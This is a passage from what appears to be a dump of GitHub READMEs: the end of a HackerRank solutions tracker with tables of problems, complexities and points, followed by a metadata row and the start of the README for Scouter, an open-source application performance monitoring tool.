<ul><li>Java</li></ul> | | | Medium | 65 | || | | [Red John is Back](https://www.hackerrank.com/challenges/red-john-is-back)| <ul><li>Java</li></ul> | | | Medium | 65 | || | | [Play with words](https://www.hackerrank.com/challenges/strplay)| <ul><li>Java</li></ul> | | | Medium | 65 | || | | [Queens on Board](https://www.hackerrank.com/challenges/queens-on-board)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [String Reduction](https://www.hackerrank.com/challenges/string-reduction)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [Far Vertices](https://www.hackerrank.com/challenges/far-vertices)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [The Indian Job](https://www.hackerrank.com/challenges/the-indian-job)| <ul><li>Java</li></ul> | | | Medium | 70 | || | | [Hexagonal Grid](https://www.hackerrank.com/challenges/hexagonal-grid)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [Longest Palindromic Subsequence](https://www.hackerrank.com/challenges/longest-palindromic-subsequence)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [Turn Off the Lights](https://www.hackerrank.com/challenges/turn-off-the-lights)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [Tara's Beautiful Permutations](https://www.hackerrank.com/challenges/taras-beautiful-permutations)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [Two Subarrays](https://www.hackerrank.com/challenges/two-subarrays)| <ul><li>Java</li></ul> | | | Expert | 70 | || | | [Mining](https://www.hackerrank.com/challenges/mining)| <ul><li>Java</li></ul> | | | Advanced | 75 | || | | [The Longest Common Subsequence (LCS)](https://www.hackerrank.com/challenges/linkedin-practice-dynamic-programming-lcs)| <ul><li>Java</li></ul> | | | Hard | 75 | || | | [Points in a Plane](https://www.hackerrank.com/challenges/points-in-a-plane)| <ul><li>Java</li></ul> | | | Advanced | 80 | || | | [Fairy Chess](https://www.hackerrank.com/challenges/fairy-chess)| <ul><li>Java</li></ul> | | | Advanced | 80 | || | | [Billboards](https://www.hackerrank.com/challenges/billboards)| <ul><li>Java</li></ul> | | | Advanced | 80 | || | | [Requirement](https://www.hackerrank.com/challenges/requirement)| <ul><li>Java</li></ul> | | | Advanced | 80 | || | | [A Super Hero](https://www.hackerrank.com/challenges/a-super-hero)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Covering the stains](https://www.hackerrank.com/challenges/covering-the-stains)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Superman Celebrates Diwali](https://www.hackerrank.com/challenges/superman-celebrates-diwali)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Wet Shark and Two Subsequences](https://www.hackerrank.com/challenges/wet-shark-and-two-subsequences)| <ul><li>Java</li></ul> | | | Medium | 80 | || | | [Zurikela's Graph](https://www.hackerrank.com/challenges/zurikela)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [New Year Present](https://www.hackerrank.com/challenges/newyear-present )| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Suffix Rotation](https://www.hackerrank.com/challenges/suffix-rotation)| <ul><li>Java</li></ul> | | | Expert | 80 | || | | [Black and White Tree](https://www.hackerrank.com/challenges/black-n-white-tree-1)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Beautiful Strings](https://www.hackerrank.com/challenges/beautiful-string)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Longest Mod Path](https://www.hackerrank.com/challenges/longest-mod-path)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Super Functional Strings](https://www.hackerrank.com/challenges/super-functional-strings)| <ul><li>Java</li></ul> | | | Advanced | 80 | || | | [Kitty's Calculations on a Tree](https://www.hackerrank.com/challenges/kittys-calculations-on-a-tree)| <ul><li>Java</li></ul> | | | Advanced | 80 | || | | [Liars](https://www.hackerrank.com/challenges/liars)| <ul><li>Java</li></ul> | | | Advanced | 85 | || | | [Dorsey Thief](https://www.hackerrank.com/challenges/dorsey-thief)| <ul><li>Java</li></ul> | | | Advanced | 85 | || | | [Swap Permutation](https://www.hackerrank.com/challenges/swappermutation)| <ul><li>Java</li></ul> | | | Medium | 85 | || | | [Candles Counting](https://www.hackerrank.com/challenges/candles-2)| <ul><li>Java</li></ul> | | | Medium | 85 | || | | [Square Subsequences](https://www.hackerrank.com/challenges/square-subsequences)| <ul><li>Java</li></ul> | | | Hard | 90 | || | | [Hyper Strings](https://www.hackerrank.com/challenges/hyper-strings)| <ul><li>Java</li></ul> | | | Advanced | 90 | || | | [Unique Divide And Conquer](https://www.hackerrank.com/challenges/unique-divide-and-conquer)| <ul><li>Java</li></ul> | | | Advanced | 90 | || | | [Super Kth LIS](https://www.hackerrank.com/challenges/super-kth-lis)| <ul><li>Java</li></ul> | | | Advanced | 90 | || | | [Counting Road Networks](https://www.hackerrank.com/challenges/counting-road-networks)| <ul><li>Java</li></ul> | | | Expert | 90 | || | | [Lucky Numbers](https://www.hackerrank.com/challenges/lucky-numbers)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [Count Scorecards](https://www.hackerrank.com/challenges/count-scorecards)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [Unfair Game](https://www.hackerrank.com/challenges/unfair-game)| <ul><li>Java</li></ul> | | | Advanced | 100 | || | | [Oil Well](https://www.hackerrank.com/challenges/oil-well)| <ul><li>Java</li></ul> | | | Hard | 100 | || | | [Modify The Sequence](https://www.hackerrank.com/challenges/modify-the-sequence)| <ul><li>Java</li></ul> | | | Advanced | 100 | || | | [Divisible Numbers](https://www.hackerrank.com/challenges/divisible-numbers)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [Ones and Twos](https://www.hackerrank.com/challenges/ones-and-twos)| <ul><li>Java</li></ul> | | | Hard | 100 | || | | [Extremum Permutations](https://www.hackerrank.com/challenges/extremum-permutations)| <ul><li>Java</li></ul> | | | Medium | 100 | || | | [Tree Pruning](https://www.hackerrank.com/challenges/tree-pruning)| <ul><li>Java</li></ul> | | | Advanced | 100 | || | | [P-sequences](https://www.hackerrank.com/challenges/p-sequences)| <ul><li>Java</li></ul> | | | Hard | 100 | || | | [Best spot](https://www.hackerrank.com/challenges/best-spot)| <ul><li>Java</li></ul> | | | Advanced | 100 | || | | [Find the Seed](https://www.hackerrank.com/challenges/find-the-seed)| <ul><li>Java</li></ul> | | | Advanced | 100 | || | | [The Blacklist](https://www.hackerrank.com/challenges/the-blacklist)| <ul><li>Java</li></ul> | | | Advanced | 100 | || | | [Police Operation](https://www.hackerrank.com/challenges/police-operation)| <ul><li>Java</li></ul> | | | Hard | 100 | || | | [Road Maintenance](https://www.hackerrank.com/challenges/road-maintenance)| <ul><li>Java</li></ul> | | | Hard | 100 | || | | [King and Four Sons](https://www.hackerrank.com/challenges/happy-king)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [Counting the Ways](https://www.hackerrank.com/challenges/count-ways-1)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [Hard Disk Drives](https://www.hackerrank.com/challenges/hard-drive-disks)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [Travel around the world](https://www.hackerrank.com/challenges/travel-around-the-world)| <ul><li>Java</li></ul> | | | Medium | 120 | || | | [Robot](https://www.hackerrank.com/challenges/robot)| <ul><li>Java</li></ul> | | | Advanced | 120 | || | | [Vim War](https://www.hackerrank.com/challenges/vim-war)| <ul><li>Java</li></ul> | | | Advanced | 120 | || | | [Dortmund Dilemma](https://www.hackerrank.com/challenges/dortmund-dilemma)| <ul><li>Java</li></ul> | | | Advanced | 150 | || | | [Separate the chocolate](https://www.hackerrank.com/challenges/separate-the-chocolate)| <ul><li>Java</li></ul> | | | Expert | 250 | || ### Constructive Algorithms | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [Lena Sort](https://www.hackerrank.com/challenges/lena-sort)| <ul><li>Java</li></ul> | | | Medium | 30 | || | | [Flipping the Matrix](https://www.hackerrank.com/challenges/flipping-the-matrix)| <ul><li>[Java](./Algorithms/Constructve%20Algorithms/Flipping%20Matrix/Solution.java)</li><ul> | _O(n^2)_ | _O(n^2)_ | Medium | 30 | || | | [Gaming Array](https://www.hackerrank.com/challenges/an-interesting-game-1)| <ul><li>Java</li></ul> | | | Medium | 35 | || | | [New Year Chaos](https://www.hackerrank.com/challenges/new-year-chaos)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Bonetrousle](https://www.hackerrank.com/challenges/bonetrousle)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Yet Another KMP Problem](https://www.hackerrank.com/challenges/kmp-problem)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Beautiful 3 Set](https://www.hackerrank.com/challenges/beautiful-3-set)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Inverse RMQ](https://www.hackerrank.com/challenges/inverse-rmq)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Two Subarrays](https://www.hackerrank.com/challenges/two-subarrays)| <ul><li>Java</li></ul> | | | Expert | 70 | || | | [Lovely Triplets](https://www.hackerrank.com/challenges/lovely-triplets)| <ul><li>Java</li></ul> | | | Advanced | 80 | || | | [Array Construction](https://www.hackerrank.com/challenges/array-construction)| <ul><li>Java</li></ul> | | | Advanced | 80 | || ### Bit Manipulation | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [Lonely Integer](https://www.hackerrank.com/challenges/lonely-integer)| <ul><li>[Java](./Algorithms/Bit%20Manipulation/Lonely%20Integer/Solution.java)</li><ul> | _O(n)_ | _O(1)_ | Easy | 20 | || | | [Maximizing XOR](https://www.hackerrank.com/challenges/maximizing-xor)| <ul><li>Java</li></ul> | | | Easy | 30 | || | | [Counter game](https://www.hackerrank.com/challenges/counter-game)| <ul><li>Java</li></ul> | | | Medium | 30 | || | | [Xor-sequence](https://www.hackerrank.com/challenges/xor-se)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Sum vs XOR](https://www.hackerrank.com/challenges/sum-vs-xor)| <ul><li>[Java](./Algorithms/Bit%20Manipulation/Sum%20vs%20XOR/Solution.java)</li><ul> | _O(n log(n))_ | _O(1)_ | Easy | 20 | || | | [The Great XOR](https://www.hackerrank.com/challenges/the-great-xor)| <ul><li>Java</li></ul> | | | Medium | 25 | || | | [Flipping bits](https://www.hackerrank.com/challenges/flipping-bits)| <ul><li>Java</li></ul> | | | Easy | 40 | || | | [Yet Another Minimax Problem](https://www.hackerrank.com/challenges/yet-another-minimax-problem)| <ul><li>Java</li></ul> | | | Medium | 30 | || | | [Sansa and XOR](https://www.hackerrank.com/challenges/sansa-and-xor)| <ul><li>Java</li></ul> | | | Medium | 30 | || | | [AND Product](https://www.hackerrank.com/challenges/and-product)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Xoring Ninja](https://www.hackerrank.com/challenges/xoring-ninja)| <ul><li>Java</li></ul> | | | Hard | 55 | || | | [Cipher](https://www.hackerrank.com/challenges/cipher)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [XOR Matrix](https://www.hackerrank.com/challenges/xor-matrix)| <ul><li>Java</li></ul> | | | Hard | 50 | || | | [What's Next?](https://www.hackerrank.com/challenges/whats-next)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [String Transmission](https://www.hackerrank.com/challenges/string-transmission)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [A or B](https://www.hackerrank.com/challenges/aorb)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Manipulative Numbers](https://www.hackerrank.com/challenges/manipulative-numbers)| <ul><li>Java</li></ul> | | | Hard | 55 | || | | [Stone game](https://www.hackerrank.com/challenges/stonegame)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [2's complement](https://www.hackerrank.com/challenges/2s-complement)| <ul><li>Java</li></ul> | | | Advanced | 70 | || | | [Changing Bits](https://www.hackerrank.com/challenges/changing-bits)| <ul><li>Java</li></ul> | | | Advanced | 70 | || | | [XOR key](https://www.hackerrank.com/challenges/xor-key)| <ul><li>Java</li></ul> | | | Advanced | 80 | || | | [Maximizing the Function](https://www.hackerrank.com/challenges/maximizing-the-function)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [XOR Subsequences](https://www.hackerrank.com/challenges/xor-subsequence)| <ul><li>Java</li></ul> | | | Advanced | 80 | || | | [Iterate It](https://www.hackerrank.com/challenges/iterate-it)| <ul><li>Java</li></ul> | | | Expert | 90 | || | | [Hamming Distance](https://www.hackerrank.com/challenges/hamming-distance)| <ul><li>Java</li></ul> | | | Expert | 150 | || | | [Mixing proteins](https://www.hackerrank.com/challenges/pmix)| <ul><li>Java</li></ul> | | | Hard | 80 | || ### Recursion | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [The Power Sum](https://www.hackerrank.com/challenges/the-power-sum)| <ul><li>Java</li></ul> | | | Easy | 20 | || | | [Crossword Puzzle](https://www.hackerrank.com/challenges/crossword-puzzle)| <ul><li>Java</li></ul> | | | Medium | 30 | || | | [Recursive Digit Sum](https://www.hackerrank.com/challenges/recursive-digit-sum)| <ul><li>Java</li></ul> | | | Medium | 30 | || | | [Simplified Chess Engine](https://www.hackerrank.com/challenges/simplified-chess-engine)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Password Cracker](https://www.hackerrank.com/challenges/password-cracker)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Artithmetic Expressions](https://www.hackerrank.com/challenges/arithmetic-expressions)| <ul><li>Java</li></ul> | | | Hard | 40 | || | | [K Factorization](https://www.hackerrank.com/challenges/k-factorization)| <ul><li>Java</li></ul> | | | Hard | 50 | || | | [Bowling Pins](https://www.hackerrank.com/challenges/bowling-pins)| <ul><li>Java</li></ul> | | | Advanced | 60 | || | | [Simplified Chess Engine II](https://www.hackerrank.com/challenges/simplified-chess-engine-ii)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Repetitive K-Sums](https://www.hackerrank.com/challenges/repeat-k-sums)| <ul><li>Java</li></ul> | | | Advanced | 150 | || ### Game Theory | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [Game of Stones](https://www.hackerrank.com/challenges/game-of-stones-1)| <ul><li>[JS](./Algorithms/Game%20Theory/Game%20of%20Stones/Solution.js)</li><ul> | _O(n)_ | _O(1)_ | Easy | 15 | || | | [Tower Breakers](https://www.hackerrank.com/challenges/tower-breakers-1)| <ul><li>Java</li></ul> | | | Easy | 15 | || | | [A Chessboard Game](https://www.hackerrank.com/challenges/a-chessboard-game-1)| <ul><li>Java</li></ul> | | | Easy | 15 | || | | [Introduction to Nim Game](https://www.hackerrank.com/challenges/nim-game-1)| <ul><li>Java</li></ul> | | | Easy | 15 | || | | [Misère Nim](https://www.hackerrank.com/challenges/misere-nim-1)| <ul><li>Java</li></ul> | | | Easy | 20 | || | | [Nimble Game](https://www.hackerrank.com/challenges/nimble-game-1)| <ul><li>Java</li></ul> | | | Easy | 20 | || | | [Alice and Bob's Silly Game](https://www.hackerrank.com/challenges/alice-and-bobs-silly-game)| <ul><li>Java</li></ul> | | | Medium | 30 | || | | [Poker Nim](https://www.hackerrank.com/challenges/poker-nim-1)| <ul><li>Java</li></ul> | | | Easy | 20 | || | | [Tower Breakers, Revisited!](https://www.hackerrank.com/challenges/tower-breakers-revisited-1)| <ul><li>Java</li></ul> | | | Medium | 25 | || | | [Tower Breakers, Again!](https://www.hackerrank.com/challenges/tower-breakers-again-1)| <ul><li>Java</li></ul> | | | Medium | 30 | || | | [Zero-Move Nim](https://www.hackerrank.com/challenges/zero-move-nim)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Chessboard Game, Again!](https://www.hackerrank.com/challenges/chessboard-game-again-1)| <ul><li>Java</li></ul> | | | Medium | 30 | || | | [Digits Square Board](https://www.hackerrank.com/challenges/digits-square-board-1)| <ul><li>Java</li></ul> | | | Medium | 35 | || | | [Fun Game](https://www.hackerrank.com/challenges/fun-game-1)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Stone Division](https://www.hackerrank.com/challenges/stone-division)| <ul><li>Java</li></ul> | | | Hard | 50 | || | | [Chocolate in Box](https://www.hackerrank.com/challenges/chocolate-in-box)| <ul><li>Java</li></ul> | | | Medium | 70 | || | | [Kitty and Katty](https://www.hackerrank.com/challenges/kitty-and-katty)| <ul><li>Java</li></ul> | | | Medium | 80 | || | | [Powers Game](https://www.hackerrank.com/challenges/powers-game-1)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Deforestation](https://www.hackerrank.com/challenges/deforestation-1)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Bob and Ben](https://www.hackerrank.com/challenges/bob-and-ben)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Tower Breakers - The Final Battle](https://www.hackerrank.com/challenges/tower-breakers-the-final-battle-1)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Simple Game](https://www.hackerrank.com/challenges/simple-game)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Permutation game](https://www.hackerrank.com/challenges/permutation-game)| <ul><li>Java</li></ul> | | | Medium | 70 | || | | [Move the Coins](https://www.hackerrank.com/challenges/move-the-coins)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Play on benders](https://www.hackerrank.com/challenges/benders-play)| <ul><li>Java</li></ul> | | | Medium | 70 | || | | [New Year Game](https://www.hackerrank.com/challenges/newyear-game)| <ul><li>Java</li></ul> | | | Medium | 60 | || | | [Stone Piles](https://www.hackerrank.com/challenges/stone-piles)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Chocolate Game](https://www.hackerrank.com/challenges/chocolate-game)| <ul><li>Java</li></ul> | | | Hard | 90 | || | | [Manasa and Prime game](https://www.hackerrank.com/challenges/manasa-and-prime-game)| <ul><li>Java</li></ul> | | | Hard | 90 | || | | [Vertical Rooks](https://www.hackerrank.com/challenges/vertical-rooks)| <ul><li>Java</li></ul> | | | Medium | 90 | || | | [A stones game](https://www.hackerrank.com/challenges/half)| <ul><li>Java</li></ul> | | | Medium | 90 | || | | [Tastes Like Winning](https://www.hackerrank.com/challenges/taste-of-win)| <ul><li>Java</li></ul> | | | Expert | 100 | || ### NP Complete | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [Walking the Approximate Longest Path](https://www.hackerrank.com/challenges/walking-the-approximate-longest-path)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [Sam's Puzzle (Approximate)](https://www.hackerrank.com/challenges/sams-puzzle)| <ul><li>Java</li></ul> | | | Advanced | 85 | || | | [Spies, Revised](https://www.hackerrank.com/challenges/spies-revised)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [TBS Problem](https://www.hackerrank.com/challenges/inheritance)| <ul><li>Java</li></ul> | | | Expert | 100 | || ### Object Oriented Programming | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [Class vs. Instance](https://www.hackerrank.com/challenges/class-vs-instance)| <ul><li>[Java](./Java/Class%20vs.%20Instance/Solution.java)</li><ul> | _N/A_ | _N/A_ | Easy | 30| || | | [Inheritance](https://www.hackerrank.com/challenges/inheritance)| <ul><li>[Java](.Java/Inheritance/Solution.java)</li><ul> | _O(n)_ | _O(1)_ | Easy | 30 | || | | [Abstract Classes](https://www.hackerrank.com/challenges/abstract-classes)| <ul><li>[Java](./Java/Abstract%20Classes/Solution.java)</li><ul> | _N/A_ | _N/A_ | Easy | 30| || | | [Complex Numbers](https://www.hackerrank.com/challenges/complex-numbers)| <ul><li>[Java](./Java/Complex%20Numbers/Solution.java)</li><ul> | _O(1)_ | _O(1)_ | Easy | 30 | || ### Arrays | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[Arrays - DS](https://www.hackerrank.com/challenges/arrays-ds/problem)| <ul><li>[C++](./DataStructures/Arrays/Arrays%20-%20DS/Solution.cpp)</li><ul> | _O(n)_ | _O(n)_| Easy | 10 | || | |[2D Array - DS](https://www.hackerrank.com/challenges/2d-array/problem)| <ul><li>[C++](./DataStructures/Arrays/2D%20Array%20-%20DS/Solution.cpp)</li><ul> | _O(1)_ | _O(1)_| Easy | 15 | || | |[Sparse Arrays](https://www.hackerrank.com/challenges/sparse-arrays/problem)| <ul><li>[C#](./DataStructures/Arrays/Sparse%20Arrays/Solution.cs)</li><ul> | _O(n + q)_ | _O(n + q)_| Medium | 25 | n = number of input strings, q = number of queries || | |[Dynamic Array](https://www.hackerrank.com/challenges/dynamic-array/problem)| <ul><li>[C#](./DataStructures/Arrays/Dynamic%20Array/Solution.cs)</li><ul> | _O(q)_ | _O(n)_| Easy | 15 | q = Number of queries || ### Linked Lists | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[Print the Elements of a Linked List](https://www.hackerrank.com/challenges/print-the-elements-of-a-linked-list)| <ul><li>[C++](./DataStructures/Linked%20Lists/Print%20the%20Elements%20of%20a%20Linked%20List/Solution.cpp)</li><ul> | _O(n)_ | _O(1)_| Easy | 5 | || | |[Reverse a Linked List](https://www.hackerrank.com/challenges/reverse-a-linked-list)| <ul><li>[Java](./DataStructures/Linked%20Lists/Reverse%20a%20linked%20list/Solution.java)</li><ul> | _O(n)_ | _O(1)_| Easy | 5 | || | |[Compare Two Linked Lists](https://www.hackerrank.com/challenges/compare-two-linked-lists)| <ul><li>[C++](./DataStructures/Linked%20Lists/Compare%20two%20linked%20lists/Solution.cpp)</li><ul> | _O(n)_ | _O(1)_| Easy | 5 | || | |[Delete a node](https://www.hackerrank.com/challenges/delete-a-node-from-a-linked-list/problem)| <ul><li>[C++](./DataStructures/Linked%20Lists/Delete%20Node/solution.cpp)</li><ul> | _O(n)_ | _O(1)_| Easy | 5 | || ### Trees | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[Tree: Preorder Traversal](https://www.hackerrank.com/challenges/tree-preorder-traversal/)| <ul><li>[C++](./DataStructures/Trees/Tree%20Preorder%20Traversal/Solution.cpp)</li><ul> | _O(n)_ | _O(n)_| Easy | 10 | || | |[Swap Nodes [Algo]](https://www.hackerrank.com/challenges/swap-nodes-algo/)| <ul><li>[C#](./DataStructures/Trees/Swap%20Nodes%20[Algo]/Solution.cs)</li><ul> | _O(n)_ | _O(n)_| Medium | 40 | || ### Balanced Trees | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[Self Balancing Tree](https://www.hackerrank.com/challenges/self-balancing-tree/)| <ul><li>[C++](./DataStructures/Balanced%20Trees/Self%20Balancing%20Tree/Solution.cpp)</li><ul> | _O(log(n))_ | _O(n)_| Medium | 50 | || ### Stacks | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[Maximum Element](https://www.hackerrank.com/challenges/maximum-element/)| <ul><li>[C++](./DataStructures/Stacks/Maximum%20Element/Solution.cpp)</li><ul> | _Push-O(1), Delete - O(n), Print - O(1)_ | _Push - O(1), Delete - O(1), Print - O(1)_| Easy | 20 | || | |[Balanced Brackets](https://www.hackerrank.com/challenges/balanced-brackets/)| <ul><li>[Java](./DataStructures/Stacks/Balanced%20Brackets/Solution.java)</li><ul> | _O(n)_ | _O(n)_| Medium | 25 | || ### Queues | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[Queue using Two Stacks](https://www.hackerrank.com/challenges/queue-using-two-stacks/)| <ul><li>[C#](./DataStructures/Queues/Queue%20using%20Two%20Stacks/Solution.cs)</li><ul> | _Enqueue - O(1), Dequeue - O(n), Print - O(n)_ | _Enqueue - O(1), Dequeue - O(1), Print - O(1)_| Medium | 30 | || ### Heap | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[QHEAP1](https://www.hackerrank.com/challenges/qheap1/)| <ul><li>[C#](./DataStructures/Heap/QHEAP1/Solution.cs)</li><ul> | _Insert - O(log(n)), Delete - O(n), Print - O(1)_ | _Insert - O(1), Delete - O(1), Print - O(1)_| Easy | 25 | || ### Disjoint Set | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[Spaceholder](https://www.hackerrank.com/challenges/spaceholder)| <ul><li>[C#]()</li><ul> | _O(1)_ | _O(1)_| Easy | 1 | || ### Multiple Choice | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[Data Structures MCQ 1](https://www.hackerrank.com/challenges/how-well-do-you-know-trees/problem)| <ul><li>[Language Independent](./DataStructures/Multiple%20Choice/Data%20Structures%20MCQ%201/Solution.md)</li><ul> | _NA_ | _NA_| Hard | 5 | || | |[Data Structures MCQ 2](https://www.hackerrank.com/challenges/are-you-an-expert-on-data-structures/problem)| <ul><li>[Language Independent](./DataStructures/Multiple%20Choice/Data%20Structures%20MCQ%202/Solution.md)</li><ul> | _NA_ | _NA_| Hard | 5 | || | |[Data Structures MCQ 3](https://www.hackerrank.com/challenges/are-you-an-expert-on-data-structures-1/problem)| <ul><li>[Language Independent](./DataStructures/Multiple%20Choice/Data%20Structures%20MCQ%203/Solution.md)</li><ul> | _NA_ | _NA_| Hard | 5 | || ### Trie | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[Contacts](https://www.hackerrank.com/challenges/contacts/problem)| <ul><li>[C#](./DataStructures/Trie/Contacts/Solution.cs)</li><ul> | _Add - O(L), Find - O(L)_ | _Add - O(L), Find - O(1)_| Medium | 40 | L = Length of a contact name || ### Advanced | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[Spaceholder](https://www.hackerrank.com/challenges/spaceholder)| <ul><li>[C#]()</li><ul> | _O(1)_ | _O(1)_| Easy | 1 | || ### Fundamentals | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[Leonardo's Prime Factors](https://www.hackerrank.com/challenges/leonardo-and-prime/problem)| <ul><li>[C#](./Mathematics/Fundamentals/Leonardo's%20Prime%20Factors/Solution.cs)</li><ul> | _O(1)_ | _O(1)_| Easy | 10 | || [HackerRank]:https://cloud.githubusercontent.com/assets/19765741/25342064/d17a563c-28d8-11e7-83fc-763d4ab4820a.jpg [Problems Solved]:https://img.shields.io/badge/Problems%20Solved-132-brightgreen.svg [Language]:https://img.shields.io/badge/Language-Java/Python/C++-orange.svg [UpToDate]:https://img.shields.io/badge/Latest%20Update-n/a-lightgrey.svg [AlgorithmsPercentile]:https://img.shields.io/badge/Percentile-94th-brightgreen.svg [MachineLearningPercentile]:https://img.shields.io/badge/Percentile-n/a-lightgrey.svg [FunctionalLanguagesPercentile]:https://img.shields.io/badge/Percentile-n/a-lightgrey.svg [AlgorithmsRank]:https://img.shields.io/badge/Rank-4392-brightgreen.svg [AlgorithmsPoints]:https://img.shields.io/badge/Points-3450-brightgreen.svg [DataStructuresRank]:https://img.shields.io/badge/Rank-114680-red.svg [DataStructuresPoints]:https://img.shields.io/badge/Points-25.00-red.svg [MathematicsRank]:https://img.shields.io/badge/Rank-n/a-lightgrey.svg [MathematicsPoints]:https://img.shields.io/badge/Points-n/a-lightgrey.svg [JavaRank]:https://img.shields.io/badge/Rank-20998-yellow.svg [JavaPoints]:https://img.shields.io/badge/Points-163.00-yellow.svg
0
scouter-project/scouter
Scouter is an open source APM (Application Performance Management) tool.
2015-06-04T01:19:31Z
null
[![Maven Central](https://maven-badges.herokuapp.com/maven-central/io.github.scouter-project/scouter-parent/badge.svg?t=1)](https://maven-badges.herokuapp.com/maven-central/io.github.scouter-project/scouter-parent) [![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/scouter-project/scouter/issues) ![scouter](./scouter.document/img/main/scouter-logo-w200.png) [![English](https://img.shields.io/badge/language-English-orange.svg)](README.md) [![Korean](https://img.shields.io/badge/language-Korean-blue.svg)](README_kr.md) ## Application Performance Monitoring for Open Source S/Ws. SCOUTER is an open source APM like new relic and appdynamics. (APM means application performance monitoring or application performance management.) - **Monitoring targets (from scouter agent)** - Java Agent : Web application (on Tomcat, JBoss, Resin ...), Standalone java application - Host Agent : Linux, Windows, Unix - **Monitoring targets (from Telegraf support) Since @2.0.0** - Redis, nginX, apache httpd, haproxy, Kafka, MySQL, MongoDB, RabbitMQ, ElasticSearch, Kube, Mesos ... - **Monitoring targets (from Zipkin-Scouter storage) Since @2.5.0** - Any zipkin instrumentations(C#, Go, Python, Javascript, PHP...) can be shown in a XLog(Scatter) chart. - see the [zipkin-scouter-storage](https://github.com/scouter-project/zipkin-scouter) documentation. - see the [zipkin instrumentations.](https://zipkin.io/pages/extensions_choices.html) ![Screen](./scouter.document/img/main/dashboard-sample-1.png) Users use application services on a system and the services use resources on the system. You should understand this context in order to manage the system performance efficiently. SCOUTER can help you. - **SCOUTER shows** - Metrics about users : Active user, Recently used user, Today visitor - Metrics about services : Active service, TPS, Response time, Application 